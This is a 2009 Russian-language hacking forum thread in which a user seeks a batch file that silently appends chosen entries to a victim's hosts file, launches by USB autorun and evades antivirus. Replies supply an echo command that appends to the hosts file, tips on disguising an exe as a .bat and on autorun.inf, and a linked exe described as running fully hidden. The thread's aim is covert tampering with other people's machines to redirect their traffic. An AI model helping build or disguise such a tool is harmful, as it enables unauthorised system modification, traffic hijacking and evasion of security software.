bat файл делающий кое какие изменения в системе

Discussion in 'PHP' started by GoodGod, 15 Feb 2009.

  1. GoodGod

    GoodGod Elder - Старейшина

    Joined:
    20 Dec 2006
    Messages:
    216
    Likes Received:
    262
    Reputations:
    50
    Товарищи. Просьба у кого есть время и желание помочь то прошу прочитать и кто умеет сделать. :)

    Многие знают, что в Windows 2000/XP есть некие данные, которые хранятся в файле System32\drivers\etc\hosts. А в Windows 9x - в файле hosts
    Кстати в линуксе тоже есть такой файл. Было бы здорово и его тоже учесть.

    Цель: добавление в этот файл, посредством запуска bat файла новых строк, либо тупо замена существующего файла, на свой. Как угодно. Суть в том чтобы добавить туда новые данные.

    Вот надо бы следующее:
    Написать такой bat файл, чтобы он определял какая винда стоит (это надо чтобы узнать путь файл, где он хранится) и добавлял новые данные (которые мы можем изменять, желательно прямо в бат файле), и чтобы этот bat файл грузился автоматически с флешки, как только ее вставляешь (желательно).
    В целом можно прописать чтобы он если такой файл есть, то добавлял в него то, что нам надо. Если нет (мы же не знаем какая винда у юзера будет), то ничего бы не делал.

    Как это сделать я не знаю. Но знаю как можно было бы его применить! Кто поможет? И не надо писать, что это не актуально, что есть перезагрузка на sp2 и так далее. С меня чего нибудь причитается.
     
  2. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    проще написать exe'шник и переименовать в бат
     
  3. SVAROG

    SVAROG Elder - Старейшина

    Joined:
    13 Feb 2007
    Messages:
    424
    Likes Received:
    86
    Reputations:
    -1
    echo 127.0.0.1 localhost>> C:\WINDOWS\system32\drivers\etc\hosts
    для винды ХР а что бы ОС батник сам узнавал, это имхо прогу уже написать exe а не мучиться с батниками
     
  4. GoodGod

    GoodGod Elder - Старейшина

    Joined:
    20 Dec 2006
    Messages:
    216
    Likes Received:
    262
    Reputations:
    50
    хм
    ну а если прописать несколько путей.
    он их просто не будет выполнять или как?
    чтобы задействовать разного рода системы.

    может проще exe я же не знаю так то.
    если проще его напиши его. только после переиенования в бат он будет работать?

    2 SVAROG
    Спасибо)

    а авторан как сделать, чтобы запускался этот файл с флехи сразу?
     
    #4 GoodGod, 15 Feb 2009
    Last edited: 15 Feb 2009
  5. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    >после переиенования в бат он будет работать?
    будет
    писать лень, создай топик в программирвоании тебе напишут. там 10 строк кода
    чтобы грузился с флешки, создай в ее корне autorun.inf - дальше в гугль за параметрами
     
  6. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    почти любой антивирь запалит модификацию этого файла
     
    2 people like this.
  7. GoodGod

    GoodGod Elder - Старейшина

    Joined:
    20 Dec 2006
    Messages:
    216
    Likes Received:
    262
    Reputations:
    50
    Какая разница запалит или нет.
    суть не в том.
    к тому же nod и каспер не палит. хз.
    сп 2 и 3 перезагрузка не нужна.

    тему вторую создавать не хочется. но видимо придется.

    как сделать чтобы не запалить? у кого в каких системах палится и при каких параметрах, антивирусниках???

    может существуют какие либо другие способы чтобы антивирь не палил (раз уж на то пошло).

    какой путь прописать для линукса. где там этот файл лежит?
     
    #7 GoodGod, 15 Feb 2009
    Last edited: 16 Feb 2009
  8. Scripter

    Scripter Member

    Joined:
    3 Sep 2008
    Messages:
    141
    Likes Received:
    95
    Reputations:
    6
    не знаю то или нет: http://webfile.ru/2700198
    в архиве:
    lol.exe
    1.txt

    записи из 1.txt дописываются в System32\drivers\etc\hosts (файл hosts не заменяется, а дописывается!)
    lol.exe (.bat переделан в .exe и полностью скрыто выполение)

    на авторан дописывай сам... если что то нужно подкорректировать пиши в пм (или если нужна другая иконка)
     
    #8 Scripter, 17 Feb 2009
    Last edited: 17 Feb 2009
  9. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    у меня каспер палил такие вещи. или это был кис....
    кстате а на линукс ты что тоже бат файл собрался делать?
     
  10. Scripter

    Scripter Member

    Joined:
    3 Sep 2008
    Messages:
    141
    Likes Received:
    95
    Reputations:
    6
    запусти на виртуалке и проверь
    Сделал то что конкретно просили в 1 посте